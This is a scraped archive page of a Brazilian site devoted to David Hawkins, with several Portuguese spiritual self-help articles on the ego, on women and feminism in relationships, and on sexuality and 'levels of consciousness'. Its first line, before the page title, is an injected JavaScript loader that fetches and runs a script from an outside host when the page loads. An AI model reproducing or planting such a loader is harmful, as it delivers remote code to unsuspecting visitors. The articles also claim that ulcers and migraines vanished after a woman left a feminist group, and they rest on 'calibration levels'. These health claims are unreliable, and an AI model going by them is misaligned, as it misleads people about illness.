;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de David Hawkins - David Hawkins Brasil
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O “gostinho” em colocar os homens como vilões 

Algumas mulheres não conseguem ter sucesso em relacionamento e não sabem o porquê. É por causa do “gostinho” em colocar os homens como vilões. Recentemente, publicamos artigos sobre o “gostinho do ego” em estar em posição de vítima e o quanto a gente gosta de receber a simpatia das pessoas em mostrar como temos razão quanto as “injustiças” que recebemos da vida.

Injustiças são ilusões. São coisas que as pessoas acreditam por não compreender que em tudo na vida podemos ter um aprendizado, que nos torna pessoas melhores. No Dia dos Pais publicamos um artigo no qual o dr. Hawkins fala que a sociedade moderna pensa que faltam heróis por buscar atos grandiosos e não enxergam a beleza dos atos do dia a dia que os homens fazem para nós.

A base da psique masculina é a admiração. Como pode uma mulher feminista, que se acha melhor que os homens, encontrar um bom partido para se casar? Não vai! E não é porque o mundo é injusto ou os homens deixaram de fazer atos heróicos. É porque ela ainda não enxerga a beleza no masculino e não compreendeu como eles funcionam. Prefere ficar com a simpatia daqueles que fingem que concordam enquanto ela discursa que os homens não prestam do que ter a parceria de um Amor para a vida toda. 

O que acontece com a mulher que se conecta com as feministas

“É como se, quando estamos próximos das auras de pessoas com certas capacidades, uma certa transferência de capacidade pode ocorrer. Simplificando, somos influenciados positivamente ou negativamente pela companhia que mantemos ao nosso lado. É pouco provável que superemos uma inibição se optarmos por estar na companhia de outras pessoas que tenham o mesmo problema.

Este fenômeno ficou evidente no caso de uma mulher divorciada que veio se consultar. Ela queria saber se deveria ou não fazer psicoterapia. Suas queixas eram úlcera recorrente e enxaqueca. À medida que a história se desenrolava, surgiu uma grande amargura por causa de um divórcio lamentavelmente traumático. Ela se juntou a um grupo feminista de conscientização, disse ela. Ela descreveu esse grupo específico como quase inteiramente composto por mulheres divorciadas que eram amargas, raivosas e odiavam os homens. Como grupo, elas estavam recebendo muita recompensa por sua negatividade. Na realidade, as suas vidas eram desamparadas e bastante patéticas, enquanto lutavam para recuperar a autoestima através de extremos e desequilíbrio emocional acentuado.

Depois de ouvir sua história e investigar as circunstâncias da sua vida, foi sugerido que, em vez de psicoterapia, ela seguisse uma recomendação simples por um período de três meses. Se não funcionasse, ela poderia reavaliar a necessidade de psicoterapia. A recomendação era meramente interromper a sua associação com o grupo e com as suas amigas amarguradas e divorciadas e, em vez disso, procurar a companhia de pessoas que tinham restabelecido o relacionar com sucesso, apesar dos divórcios anteriores.

O final feliz

No começo, ela resistiu e alegou que não tinha nada em comum com as integrantes do grupo. Então, ela reconheceu dois fatos básicos. Primeiro, ela ia gastar muito menos energia ao desenvolver relações com pessoas positivas. Em segundo lugar, uma das leis da consciência é que “semelhante atrai semelhante”; a amargura atrai a amargura, enquanto o amor atrai o amor. Ela se perguntou: “Para onde minha amargura me levou? Consegui algo positivo e útil com isso?” Com o passar do tempo, ela parou de passar tempo com seu grupo e começou a buscar relacionamentos com pessoas mais saudáveis e equilibradas.

Na companhia de pessoas mais felizes, ela tinha uma consciência alegre de quanta negatividade ela guardava dentro de si. Ela começou a perceber que estava retendo conscientemente a negatividade e optando por mantê-la, e começou a observar o custo dessa negatividade. Toda a sua vida social mudou. Ela ficou sorridente e mais feliz. Suas enxaquecas desapareceram. Eventualmente, ela se apaixonou novamente e brincou que se apaixonar era a melhor cura que ela já havia descoberto para uma úlcera!

Se nos encontrarmos num estado de apatia, podemos descobrir a crença intrínseca nos perguntando o que estamos tentando provar com isso. Estamos tentando provar que a vida está péssima? Que: este é um mundo sem esperança? não foi nossa culpa? É impossível encontrar o amor? A felicidade é impossível? O que estamos tentando justificar? Quanto estamos dispostos a pagar para estar “certos”? À medida que reconhecemos e abandonamos os sentimentos que surgem em resposta a estas perguntas, as respostas começam a aparecer.” – Dr. David Hawkins, “Deixar ir”

Como colocar isso em prática?

Quando a mulher está solteira, muitas acreditam que o melhor é sair com as amigas solteiras para conhecer homens. Mas pelo que acabamos de ler no caso acima já podemos intuir que esse não é o melhor caminho.

Quando você quer emagrecer, é melhor se conectar com os amigos que preferem os jantares gastronômicos ou com aqueles que te chamam para praticar exercícios? Quando você quer empreender, vai pedir conselho pro amigo que teve sucesso ao montar sua empresa ou para aquele que está preso num emprego esperando uma promoção há anos?  

Precisamos aprender com aquilo que é Sucesso, o dr. Hawkins nos ensina muito sobre isso no livro “O Sucesso é para Você”. Ao invés de ressentir o sucesso, o caminho é aprender com quem chegou lá. Da mesma forma, as mulheres solteiras que querem o caminho do matrimônio devem se conectar com as mulheres casadas, conviver com elas, ver o modo de pensar e agir e assimilar isso na sua vida. 

É legal também conviver com casais harmoniosos, mesmo que isso seja dolorido para essa mulher que sonha com isso, mas isso ainda não aconteceu na sua vida. Essa é uma forma concreta de parar de ressentir homens por experiência passadas ruins ou pelo relacionamento com o pai: parar de ressentir casais felizes. É assim que lidamos com toda essa emoção de ressentimento para chegar em um estado de amor.

Não tenha pressa

Pessoas amorosas atraem pessoas amorosas. Apenas abra espaço para o Amor dentro de si: se torna essa amorosa que você gostaria que estivesse em sua vida. É melhor demorar para conhecer nosso cônjuge, mas nesse momento sermos maduros do que ter presa e querer atrair alguém em um estado de imaturidade porque ainda não estamos maduros.

Relacionamentos entre duas pessoas imaturas trazem muito sofrimento, mais do que se essas pessoas estivessem sozinhas. Por isso, muitas vezes quando queremos estar em um relacionamento e não estamos, isso é uma proteção Divina. 

Gloria in Excelsis Deo!

Não perca nada!

Fizemos uma série que já conta com 2 artigos anteriores sobre o “gostinho” do ego em sofrer:

Aproveite essa sequência de artigos para se aprofundar nesse tema que quando observado, muda vidas.

Leia direto da fonte

No livro “Poder vs. Força”, o dr. David Hawkins nos ensinou sobre como sair dos campos energéticos que escolhem servir ao ego e nos dedicar aos campos de consciência que servem a Deus. Enquanto que no livro “Deixar Ir” ele resume de maneira muito clara o trabalho, de toda sua carreira, em como deixar ir toda a negatividade que nos bloqueia de um estado de Paz Interior (de se tornar um com Deus). 

Além disso, no livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito. Assim, podemos praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. 

No livro “Sucesso é Para Você” ele revela como sair de uma mentalidade de escassez para uma de abundância, na qual escolhemos utilizar e aperfeiçoar nossos talentos em prol de servir a Deus. 

Ainda que esses são apenas os livros que já estão traduzidos para o português, há muito mais por vim!

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e a Pandora Treinamentos absorveu essa intenção, justamente pela sua inspiração e pelo compromisso em traduzir seus livros para português, visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor.

Estão todos convidados para mergulhar nesse conteúdo conosco.

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O motivo pelo qual você está travado

A vida toda anda, mas tem aquele assunto que parece que não sai do lugar. Por que será? O motivo é que tem um prazer oculto em algo que está dando errado naquele assunto, e seu ego não consegue desapagar disso. Sei que à primeira vista isso parece improvável porque ninguém gosta de sofrer. Mas se você observar, vai ver a verdade sobre isso. 

PEQUENOS PRAZERES

Você já viu alguém falar que as pessoas procrastinam porque é gostoso procrastinar quando estamos procrastinando? Enquanto ainda não vieram as consequências, é uma delícia “ficar de preguicinha” e deixar o que tem para fazer de lado. E a gula? Há um enorme prazer em “comer um docinho para adoçar a vida”. Enquanto estamos saboreando uma bela massa sem pensar no amanhã, é uma delícia. É por isso que é difícil não procrastinar ou não comer tanto. Não é nem comer até ficar satisfeito, é até estar tão cheio que não cabe mais nada!

O EGO GOSTA DE ESTAR CERTO E VENCER

Da mesma forma, dá uma sensação boa apontar o dedo na cara do outro e falar sobre os defeitos dele e o que ele não consegue.  Sabe aquele “joguei tudo na cara dele”? A gente sente a sensação de “estar se vingando” e isso dá um “saborzinho”, é um “gostinho” que o nosso ego sente em brincar de ser “deus – o punitivo”, o que é uma visão de Deus do nível de consciência do Medo. 

“Em última instância, o que os seres humanos são viciados é experienciar. É por isso que continuamos mudando de canal, ligando a música, jogando e comendo um pouquinho disso e daquilo. 

Por que estamos viciados em experienciar? Porque durante a evolução, foi através da experiência que o animal sobreviveu. A experiência mantém o ego vivo, porque ele não possui fonte interna de energia espiritual. Só tem energia animal. 

Consequentemente, de cada experiência, tem de extrair o “gostinho” que é a fonte da existência animal. Por exemplo, o ego extrai um “gostinho” ao derivar alegria do sofrimento dos outros, estar certo e vencer: “Meu, ele tomou o que merecia, aquele *****, e ele mereceu!”.” – Dr. David Hawkins, “The Map of Consciousness Explained”

O EGO GOSTA DE FINGIR QUE É “DEUS”

O ego sente prazer em ser a “ovelha negra”, aquele que faz tudo diferente do sistema, aquele que não precisa da aprovação de ninguém e pode fazer tudo o que quer.  Há um prazer em lembrar aquele dia em que tomou todas e fez todos os amigos rirem. 

Falando nisso, o ego também ama a posição de “progressista”, aquele que questiona o sistema para fazer melhor. Inocentemente, acha que a sua visão é melhor do que o Todo. Acha que se fosse deus, faria melhor. Ocultamente, o ego de todos nós acredita ser deus.

O EGO GOSTA ATÉ DE SER VÍTIMA – MOSTRAR AS “INJUSTIÇAS DE DEUS”

O ego gosta de colecionar injustiças. Gosta de contar sobre situações em que foi vítima para que os outros concordem que foi a situação ou a outra pessoa que foi realmente injusto com ele. O ego gosta da atenção que recebe em ser uma pobre vítima. Quer mudar o mundo a seu redor para se sentir mais confortável.

“O experienciador (ego) se diverte com a satisfação narcisista. Tenta disfarçar o “gostinho do ego” como “ressentimento justificado”, benevolência, liberdade de expressão, vitimização justa e assim por diante. Mas se fizermos um inventário destemido e honesto de nós mesmos, veremos que qualquer negatividade que nos incomoda é porque recebemos uma recompensa por isso. 

Você pode dizer: “Ninguém gostaria de sentir autopiedade”. Mas, na verdade, muitas pessoas gostam do martírio, de serem injustiçadas e de se sentirem desconfortáveis. Isto não será novidade para terapeutas, psiquiatras e assistentes sociais que ouvem os relatos das vítimas dia após dia. 

O mundo inteiro deveria mudar porque alguém se sente desconfortável do jeito que está? A egomania e o narcisismo disso são óbvios. “Isso me deixa desconfortável.” Os indivíduos narcisistas procuram mudar o mundo em vez de mudarem a si próprios. Se o nome de Deus sobre um tribunal lhe dá uma noite sem dormir, teremos que mudar a arquitetura histórica apenas para que você possa dormir melhor? 

A chave para transcender os níveis de consciência é que você esteja disposto a mudar a si mesmo, em vez de precisar mudar outras pessoas ou mudar a sociedade. Depois de mudar a si mesmo, você experienciará os outros de maneira diferente.” – Dr. David Hawkins, “The Map of Consciousness Explained”

SE É GOSTOSO FAZER ESSAS COISAS, POR QUE TRAVA A MINHA VIDA?

Se você procrastina ou come com gula como se não houvesse amanhã está trocando pequenos prazeres pela satisfação de conquistar seus sonhos e objetivos no longo prazo. Enquanto ao sentir prazer em fazer “coisas erradas”, acreditamos que a felicidade está em buscar prazer o tempo todo. Na verdade, essa busca desenfreada por prazer, só aumenta o nosso sofrimento no longo prazo.

Já quando apontamos os defeitos do outro, isso piora ao invés de ajudar. A pessoa não tem disponível a escolha de fazer melhor, porque não colocou essa intenção para ela mesma. Então, quando a gente fala “faz melhor!”  estamos exigindo que ela tenha uma visão do alto da montanha, mas ela está no vale. O caminho é olhar para si e despegar do prazer que é “conseguir mudar o outro”.

É sempre uma não aceitação do que é. Uma não aceitação que o outro é assim, uma não aceitação de autoridade e do sistema, o que costuma vir atrelado a um relacionamento conturbado com a figura paterna, uma não aceitação daquilo que não ocorreu como o ego queria, o que coloca a pessoa no papel de vítima.

“As pessoas perguntam: “Por que não consigo ir além disso? Eu me sinto preso.” A estagnação ocorre porque cada um dos níveis tem uma recompensa relacionada a atitudes arraigadas, que surgem da nossa natureza animal. Se não houvesse recompensa, ninguém ficaria lá. Para evoluir, você só precisa saber uma coisa: o que o impede é o “gostinho”, a recompensa e a satisfação que você obtém por estar onde está. Como se costuma dizer: “Vamos extrair tudo o que a gente conseguir de benefício”. Se você estiver disposto a abrir mão das recompensas que o ego obtém por estar onde está, a barreira se dissolve.” – Dr. David Hawkins, “The Map of Consciousness Explained”

COMO SAIR DESSE APEGO EM SENTIR O “GOSTINHO DO EGO”?

A chave para sair desse ciclo de se prender pelo “gostinho do ego” é compreender que estamos abrindo mão de migalhas de prazer em prol de Algo Maior, o que nos trará muito mais felicidade e nos aproximará do que realmente importa. A aceitação não é a apatia de não agir, tampouco é subserviência. É ser astuto para compreender os fatos e dar o nosso melhor diante disso. 

Além disso, a verdade sobre os pequenos prazeres é que trazem infelicidade no longo prazo. Eles fazem a gente depender disso para ficar “feliz” por poucos minutos e logo em seguida já estamos buscando a próxima coisa porque aquilo parou de contribuir em nos deixar feliz. Buscar a felicidade fora, nesses pequenos prazeres, é o caminho certo para o sofrimento. A verdadeira felicidade está dentro de nós. Está no serviço a Deus.

A Terra não é o céu, não é um reino celestial, é um reino purgatorial. É aqui que a gente vem para ter contato com as energias e emoções negativas e poder escolher o caminho do positivo. É aqui que o nosso livre arbítrio nos permite escolher o Amor de Deus. Deus é justiça, amor, paz e bondade infinitos e tudo é perfeito como é porque faz parte da sua criação. 

“Para transcender uma barreira, portanto, é útil declarar-se servo de Deus e dedicar-se ao trabalho espiritual em nome de Deus, o que coloca a intenção da pessoa de evoluir em um campo infinitamente poderoso de pedir a Graça para render os apegos, aversões e as recompensas do ego que mantém cada nível (de consciência) no (mesmo) lugar.” – Dr. David Hawkins, “The Map of Consciousness Explained”


NÃO PERCA NADA

Esse é o só o primeiro de um série de artigos sobre o “gostinho do ego”. Veja mais sobre isso na visão do próprio dr. Hawkins nesse artigo aqui com as melhores passagens sobre isso em seus livros.

Gloria in Excelsis Deo!

Leia direto da fonte

No livro “Poder vs. Força”, o dr. David Hawkins nos ensinou sobre como sair dos campos energéticos que escolhem servir ao ego e nos dedicar aos campos de consciência que servem a Deus. Enquanto que no livro “Deixar Ir” ele resume de maneira muito clara o trabalho, de toda sua carreira, em como deixar ir toda a negatividade que nos bloqueia de um estado de Paz Interior (de se tornar um com Deus). 

Além disso, no livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito. Assim, podemos praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. 

No livro “Sucesso é Para Você” ele revela como sair de uma mentalidade de escassez para uma de abundância, na qual escolhemos utilizar e aperfeiçoar nossos talentos em prol de servir a Deus. 

Ainda que esses são apenas os livros que já estão traduzidos para o português, há muito mais por vim!

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e a Pandora Treinamentos absorveu essa intenção, justamente pela sua inspiração e pelo compromisso em traduzir seus livros para português, visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor.

Estão todos convidados para mergulhar nesse conteúdo conosco.

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Sexualidade: desde quando isso é coisa de Deus? (Parte 2)

No artigo da semana passada, explicamos a visão da sexualidade nos diferentes níveis de consciência. Essa semana vamos aprofundar na visão sobre Deus que está por trás de enxergar o sexo como algo carnal, o qual apenas desejamos, em comparação a enxergar o sexo como algo que se manifesta com amorosidade.

Vamos também ensinar práticas para que essa mudança em relação ao sexo seja possível para cada um de nós, saindo de um campo de consciência de desejo para um campo de consciência amoroso no âmbito da sexualidade.

Visão de Deus sobre sexualidade

Deus é Infinito Amor, Infinita Bondade, Infinita Misericórdia, é a Verdade, É. Toda vez que vivenciamos algo diferente disso, é um julgamento do nosso ego, um reflexo do nível de consciência ao qual achamos melhor nos conectar em determinado momento. 

O distanciamento de Deus que pode ser causado pela não aceitação dos nossos impulsos sexuais pode chegar até o ateísmo. Já que acreditamos que por sentir esses impulsos não somos dignos de um Deus Amoroso.

“Como podemos nos imaginar, curtindo a nós mesmos em um empreendimento humano que está ocorrendo em todo esse campo de energia enquanto secretamente pensamos que Deus provavelmente nos punirá por causa do assunto porque a visão de Deus que surge nesse campo é punitiva? Estamos certamente separados Dele e se conseguirmos qualquer satisfação ou felicidade, muito provavelmente existirá expectativa ou retaliação no final.

Algumas pessoas não suportam a intensidade do conflito entre um impulso biológico, uma necessidade psicológica, e a religião. Então, simplesmente evitam isso através do ateísmo, que apenas elimina a culpa. Precisam abrir mão de sua visão de Deus e religião da sexualidade. Para algumas pessoas, isso é um conflito impossível de se resolver e muitos terminam como ateus, pois não veem maneira de lidar com sua humanidade e suas visões de Deus.” – Dr. David Hawkins, “Cura e Recuperação”

Voltando a Adão e Eva

É claro que todos somos dignos do Amor de Deus, mas são nossas escolhas que nos afastam dele. Assim como o que aconteceu com “Adão e Eva” ao morderem a maçã e a primeira sensação que sentiram foi vergonha por estarem em corpos nus, seguida pela culpa disso estar acontecendo. Ao voltarmos para a nossa inocência, para a nossa intuição de só nos abrirmos para esse tipo de experiência com quem nos ama e respeita e vice-versa, com quem há um compromisso, tudo muda. Paramos de sentir culpa e vergonha e retornamos para uma experiência celestial do Jardim do Éden, inclusive envolvendo nossa sexualidade. Saímos da carnalidade e voltamos para a nossa verdadeira essência.

“A recontextualização resolve os problemas que os humanos dizem existir com a sexualidade porque na sutileza dessa experiência interior está a reconexão com a alegria da nossa inocência. Toda a questão de se Deus aprova o sexo, desaparece.” – Dr. David Hawkins, “Cura e Recuperação”

Práticas para o sexo amoroso

Vamos ensinar aqui quatro práticas para recontextuaização da nossa vida sexual, de forma que a prática do sexo amoroso saia de ser algo improvável e distante e se torne algo simples e factível, presente em nossas vidas!

1ª Prática

A primeira prática é observar que escolhemos manter o padrão de desejo, porque acreditamos, como sociedade, que é isso que vai fazer o sexo acontecer em nossas vidas. Isso nos prende a um padrão que limita profundamente nossa experiência. 

“A ilusão é acreditar que é o desejo que traz o sexo para nossa vida. Na verdade, é o oposto. O querer e o desejar estão bloqueando o sexo de entrar em nossas vidas, assim como o seu desfrutar quando está presente. Com o desapegar de resistir a esse desejo, todo indesejado que foi reprimido e suprimido vêm à tona. Se for permitido que seja libertado e flua sem que nada seja feito a seu respeito, sem se opor ou resistir à experiência da energia, começa a se descomprimir. Eventualmente, por ter uma quantidade limitada dessa energia, ela finalmente para.” – Dr. David Hawkins, “Cura e Recuperação”

2ª Prática

Essa prática é sobre estar atento a padrões de pensamentos fantasiosos e promíscuos em relação ao sexo. Não podemos controlar para que esses pensamentos não surjam, mas podemos escolher como vamos lidar com eles quando aparecem.

Aqui está a chave: quando surgirem esses pensamentos, não vamos dar assas as emoções e embarcar na fantasia, assim que surgirem já vamos cortar pela raiz e não pensar mais sobre isso. 

3ª Prática

A prática que vamos ensinar aqui não consta no “Capítulo 6: Sexualidade” do livro “Cura e Recuperação”, o qual inspirou esse artigo. Está descrita no “Capítulo 18: Relacionamentos” do livro “Deixa Ir”, sobre o qual também já escrevemos dois artigos. 

Essa é uma prática que tem por objetivo expandir a experiência do orgasmo, que sai de ser experienciado apenas nas partes genitais para toda a pélvis, abdômen, pernas, braços e todo o corpo até que não haja uma limitação para o orgasmo.  

“Essa expansão (do orgasmo) é facilitada por se tornar consciente que as caretas faciais e respirações ofegantes são restrições devido ao medo da perda do controle e tentativas de limitar a experiência. Se o indivíduo respirar devagar e profundamente, sorrindo em vez de fazer caretas, o medo vai se tornar consciente e pode ser rendido.” – Dr. David Hawkins, “Deixar Ir”

4ª Prática

Por fim, a última prática que vamos ensinar é sobre uma técnica de meditação que pode ser feita na hora do ato. É bem simples, basta se concentrar em um ponto do corpo que os japoneses chamam de “hara”, o qual fica dois dedos abaixo do umbigo. 

“Uma maneira de desfocalizar da fisicalidade local do corpo surge da antiga tradição técnica meditativa de focar sua atenção no ponto a dois dedos abaixo do umbigo e mantendo-a lá durante toda a experiência. Apenas tente isso. Esse é um ponto que os japoneses chamam de “hara”. É usado em artes marciais onde se coloca o foco e o centramento. Em vez de prestar atenção aos movimentos do corpo, as manipulações e infinitas ansiedades, concentre-se e fixe sua atenção nesse ponto, dois dedos abaixo do umbigo. Mantenha sua atenção nele, não importa o que esteja acontecendo e você notará que está de certa maneira distanciado.

Nesse estado, a pessoa se torna o participante/ observador autônomo. Toda a experiência toma dimensão diferente. Estará acontecendo espontaneamente em você, mas em vez de estar focado no local, você experiência de um campo de energia mais geral. Tente isso como uma maneira de se mover da experiência local para o coração. Apenas mova-se para esse ponto chamado “hara” e note a mudança na qualidade da experiência.” – Dr. David Hawkins, “Cura e Recuperação”

Não perca nada!

Essa é a segunda parte em uma sequência de artigos sobre o tema sexualidade. Na primeira parte reportamos sobre como é o sexo em diferentes níveis de consciência, o que traz ainda mais clareza sobre o assunto.

Leia direto da fonte: livro “Cura e Recuperação” 

Uma das melhores maneiras de absorver toda a profundidade do trabalho do Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá se aprofundar no contexto e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito. Assim, podemos praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Mas não é só isso, ao descobrir a Verdade, vamos aprender a lidar com a sexualidade, o envelhecimento, questões de emagrecimento e até a própria morte.

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que foi absorvida pela Pandora Treinamentos, pelo compromisso em traduzir seus livros para português. Visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Cura e Recuperação” no Brasil.

Estão todos convidados para mergulhar nesse conteúdo conosco.

Acesse o site da Editora Pandora e adquira o seu exemplar do livro Cura e Recuperação.

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Níveis de Consciência

Sexualidade: desde quando isso é coisa de Deus? (Parte 1)

Nesse artigo, inspirado no capítulo 6, do livro “Cura e Recuperação”, vamos observar que a sexualidade depende de como a enxergamos. O sexo em si é neutro. Nós é que damos o valor a ele e o contextualizamos na nossa vida de acordo com a nossa maneira de ver o mundo. 

Nessa primeira parte do artigo, vamos mostrar aqui algumas visões mais comuns sobre o sexo: desejo, orgulho, aceitação e amor. Já na segunda parte, vamos desmistificar de uma vez por todas a ideia de que o sexo é algo animalesco e pecaminoso que nos distancia de Deus. Além disso, vamos ensinar algumas práticas para quebrar os padrões indesejados e ampliar nossa consciência sobre o assunto. 

Nossa experiência sexual está na consciência

Observe que o nosso braço não sabe que é um braço, ele não consegue experienciar o que é ser um braço. É a mente que reconhece que o braço é o braço e nos permite sentir o nosso braço e até movê-lo. É por isso que podemos receber uma anestesia e deixar de sentir o braço, por exemplo. O entorpecente da anestesia adequado interrompe o canal de comunicação entre braço e mente.

Podemos ir além e observar que mesmo a mente em si não consegue experienciar uma sensação ou um pensamento, isso só ocorre em algo maior do que si mesma que é a consciência. É porque existe a consciência, que é esse infinito campo silencioso, como uma tela em branco, que podemos escutar a nossa própria mente e saber o que se passa nela. 

“Um pensamento não experiencia sua qualidade “pensar”; um sentimento não experiencia sua qualidade “sentir”. Algo maior que a mente deve estar presente, algo que é imutável em si mesmo. A razão pela qual sabemos o que está se passando na mente é por causa da consciência, que é um campo muito maior do que a mente. A mente nos diz o que se passa nas emoções, pensamentos e sensações. As sensações nos dizem o que está se passando no corpo.” – Dr. David Hawkins, “Cura e Recuperação”

Esse trecho acima nos permite observar que todas as experiências, na verdade, acontecem na consciência e ao compreender isso, temos o poder de escolha entre quais experiências queremos para nós. É verdade que não podemos escolher o que vai acontecer conosco, mas podemos escolher como vamos lidar com o que acontece conosco.

Podemos escolher o nível de consciência da experiência

Durante o sexo, a experiência também ocorre na consciência, assim, temos poder de escolha do que vamos vivenciar. Mesmo que haja traumas e experiências anteriores que foram densas, ainda há o poder de escolha de como lidar com isso e o que escolher vivenciar no momento presente.

O sexo no nível de consciência do Desejo

Esse é uma visão muito usual do sexo. Há uma visão de que o sexo é algo separado de nós e que precisa ser conquistado. É assim o campo de consciência de brincar com jogos de desejo, manipulações, fantasias, posições e moedas de troca. 

Aqui estão a maior parte dos filmes com aquela paixão avassaladora do “preciso de você”, “te desejo” e até das propagandas de publicidade que querem atrelar seus produtos com o sucesso em conquistar aquilo que resulta em sexo. 

O sexo aqui é de baixa qualidade e muito baseado na fisicalidade gerando um prazer limitado, que só envolve as áreas genitais. Assim, dispara diversos sentimentos negativos que se correlacionam de maneira em que um tende a puxar o outro. 

“Manter a sexualidade do nível físico do Desejo (nível de calibragem 125) e dividindo-a entre padrões de macho e fêmea, cria um sentimento de separação. Dessa separação surge o desejo; do desejo surge a frustração; da frustração surge raiva e ressentimento; e de tudo isso surge medo, tristeza e apatia. Como resultado, as pessoas são tendenciosas a sentir culpa com relação a sexualidade; alguns são também limitados pela apatia, desesperança e ausência de desejo; outros associam sexualidade com tristeza; e alguns tem medo.” – Dr. David Hawkins, “Cura e Recuperação”

O sexo no nível de consciência do Orgulho

No nível do orgulho, a pessoa se sente tão superior, tão mais evoluída que os outros que nem precisa dessas coisas que considera “animalescas” na sua vida.

“Há também o orgulho sobre a moralidade sexual, que é vista com desprezo, negação ou conflito religioso. Pessoas orgulhosas normalmente mantêm a sexualidade de uma visão desdenhosa de “nariz empinado” e veem qualquer pessoa que se satisfaz nesse tipo de atividade como degradadas por sua natureza animal inferior. Presumem que todos são controlados pela energia como eles são. Pessoas que mantêm desprezo pela sexualidade estão projetando sua própria maneira de lidar com o assunto nos outros e dizem “Eles não são carnais? Não são animais?”.” – Dr. David Hawkins, “Cura e Recuperação”

O sexo no nível de consciência da Aceitação 

No nível de aceitação a pessoa é livre das manipulações, de não conseguir controlar os impulsos sexuais ou de ter que sair correndo para comprar aquilo que está na propaganda. A mesma disposição que trouxe a pessoa até aqui começa a movê-la em direção ao amor. 

Esse é um estado de aceitação dos fatos da vida, de quem somos, da nossa humanidade e dos nossos impulsos animais. Começamos a nos sentirmos adequados e confiantes por observar que nossas questões são respondidas pela própria vida.

“Por que a religião e a moral focam nesse tipo de campo de energia e por que é chamado de “carnal”? A sexualidade de baixa energia é mantida em mente em um ponto de vista inferior e, assim, todo o assunto da moralidade na sexualidade foca naquilo que é carnal. A carnalidade surge de olharmos de maneira pejorativa para nossa natureza animal em vez de aceitá-la, ficar feliz com ela, ser grato por ela e dizer que é intrinsecamente linda quando não é julgada ou mantida em mente de uma maneira degradante.” – Dr. David Hawkins, “Cura e Recuperação”

O sexo a partir do nível de consciência do Amor

Nesse nível de consciência a pessoa compreende que não existe “fazer” sexo, e sem o fazer some a necessidade de performance, de frequência, de moeda de troca e tudo de negatividade que surge em torno disso. 

A pessoa aqui se torna uma com o momento em que a experiência sexual ocorre e se permite experienciar esse ato onde ele ocorre, na consciência. A experiência não fica restrita as áreas genitais e é sentida em todo o corpo e além. Não há medo em ser um com o outro.

“Em vez de experiência física localizada, existe sentimentos bem diferentes de expansividade e unidade que surgem por estar com a energia da outra pessoa. Talvez um segundo antes, não haveria qualquer pensamento de sexo na cabeça de ambos. O casal está esperando a torrada pular da tostadeira. Então existe um acolher que é feito nesse espaço que é claro. Em outras palavras, os parceiros largaram qualquer reticência, ressentimento ou coisa que estava impedindo que ficassem juntos.

Do próprio acolher, surge o desejo que é agora de uma natureza totalmente diferente. É o desejo de estar com e experienciar essa pessoa e sua energia. A espontaneidade do assunto não nasce do desejo, mas do espaço de vitalidade essencial e da energia de estar com a outra pessoa. É uma experiência difusa e geral e existe alegria e gratidão por experienciar pela oportunidade de estar com essa energia. A grande alegria e prazer disso trazem senso de integridade de tudo.” – Dr. David Hawkins, “Cura e Recuperação”

Não perca nada!

A segunda parte desse artigo contém algumas práticas para sair do sexo de baixa qualidade para o sexo de alta qualidade, além de uma reflexão do posicionamento de Deus diante de tudo isso. 

Leia direto da fonte: livro “Cura e Recuperação”

Uma das melhores maneiras de absorver toda a profundidade do trabalho do Dr. David Hawkins é por meio de seus livros. Como resultado, você conseguirá se aprofundar no contexto e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito, de maneira a praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Mas não é só isso, ao descobrir a Verdade, vamos aprender a lidar com a sexualidade, o envelhecimento, questões de emagrecimento e até a própria morte.

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que foi absorvida pela Pandora Treinamentos, pela sua inspiração e pelo compromisso em traduzir seus livros para português. Visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Cura e Recuperação” no Brasil.

 Estão todos convidados para mergulhar nesse conteúdo conosco.

Acesse o site da Editora Pandora e adquira o seu exemplar do livro Cura e Recuperação.

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Afinal, o que significa “Gloria In Excelsis Deo”?

Gloria In Excelsis Deo!

“A espontaneidade da vida é uma expressão das essências interagindo sem esforço. O milagre da Criação é contínuo, e toda a vida é compartilhada na Divindade da sua Fonte, já que nada se manifesta exceto por ordenação Divina. Uma vez que a sacralidade da vida é revelada, aí surge o conhecimento do que significa a frase, “Gloria in Excelsis Deo!”.” 

Dr. David Hawkins em “The Ego is Not the Real You”, Parte III, pág. 92

O ego acha que é deus

